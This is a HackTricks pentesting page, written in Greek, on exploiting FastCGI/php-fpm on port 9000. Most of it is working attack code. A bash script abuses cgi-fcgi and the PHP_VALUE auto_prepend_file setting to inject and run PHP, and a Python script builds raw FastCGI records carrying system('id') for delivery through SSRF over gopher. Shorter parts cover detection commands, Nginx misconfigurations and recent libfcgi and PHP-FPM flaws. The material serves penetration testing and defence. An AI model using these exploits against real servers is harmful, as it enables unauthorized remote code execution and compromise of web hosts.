9000 Pentesting FastCGI

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές πληροφορίες

Αν θέλεις να μάθεις τι είναι FastCGI δες την παρακάτω σελίδα:

disable_functions bypass - php-fpm/FastCGI

Εξ ορισμού FastCGI τρέχει στην port 9000 και δεν αναγνωρίζεται από το nmap. Συνήθως το FastCGI ακούει μόνο στο localhost.

Ανίχνευση / Γρήγοροι έλεγχοι

  • Port scan: nmap -sV -p9000 <target> (συχνά θα εμφανίσει “unknown” service; κάνε χειροκίνητη δοκιμή).
  • Έλεγξε τη σελίδα status του FPM: SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000 (default php-fpm pm.status_path).
  • Βρες προσβάσιμα sockets μέσω SSRF: αν μια HTTP υπηρεσία είναι εκτεθειμένη σε SSRF, δοκίμασε gopher://127.0.0.1:9000/_... payloads για να χτυπήσεις τον FastCGI listener.
  • Nginx misconfigs: cgi.fix_pathinfo=1 με σφάλματα fastcgi_split_path_info σου επιτρέπει να προσθέσεις /.php σε στατικά αρχεία και να φτάσεις στο PHP (code exec via traversal).

RCE

Είναι σχετικά εύκολο να κάνεις το FastCGI να εκτελέσει αυθαίρετο κώδικα:

Στείλε FastCGI request που προθέτει PHP payload ```bash #!/bin/bash

PAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path

HOST=$1 B64=$(echo “$PAYLOAD”|base64)

for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT done

</details>

ή μπορείς επίσης να χρησιμοποιήσεις το ακόλουθο python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

### SSRF/gopher προς FastCGI (όταν το 9000 δεν είναι άμεσα προσβάσιμο)

Αν ελέγχετε μόνο ένα **SSRF** primitive, μπορείτε ακόμα να προσπελάσετε το FastCGI χρησιμοποιώντας το gopher scheme και να κατασκευάσετε ένα πλήρες FastCGI request. Παράδειγμα payload builder:

<details>
<summary>Δημιούργησε και στείλε ένα gopher FastCGI RCE payload</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Μετατρέψτε το payload σε URL-safe base64/percent-encoding και στείλτε το μέσω του gopher://host:9000/_<payload> στο SSRF σας.

Σημειώσεις για πρόσφατα ζητήματα

  • libfcgi <= 2.4.4 integer overflow (2024): κατασκευασμένα nameLen/valueLen σε FastCGI records μπορούν να υπερχειλίσουν σε 32‑bit builds (συνηθισμένα σε embedded/IoT), οδηγώντας σε heap RCE όταν το FastCGI socket είναι προσβάσιμο (άμεσα ή μέσω SSRF).
  • PHP-FPM log manipulation (CVE-2024-9026): όταν catch_workers_output = yes, επιτιθέμενοι που μπορούν να στείλουν FastCGI αιτήματα ενδέχεται να περικόψουν ή να εγχύσουν έως 4 bytes ανά γραμμή καταγραφής για να σβήσουν ενδείξεις ή να μολύνουν τα αρχεία καταγραφής.
  • Classic Nginx + cgi.fix_pathinfo misconfig: εξακολουθεί να παρατηρείται ευρέως· αν το fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; χρησιμοποιείται χωρίς έλεγχο ύπαρξης αρχείου, οποιοδήποτε μονοπάτι που τελειώνει σε .php εκτελείται, επιτρέποντας path traversal ή source overwrite style gadgets.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks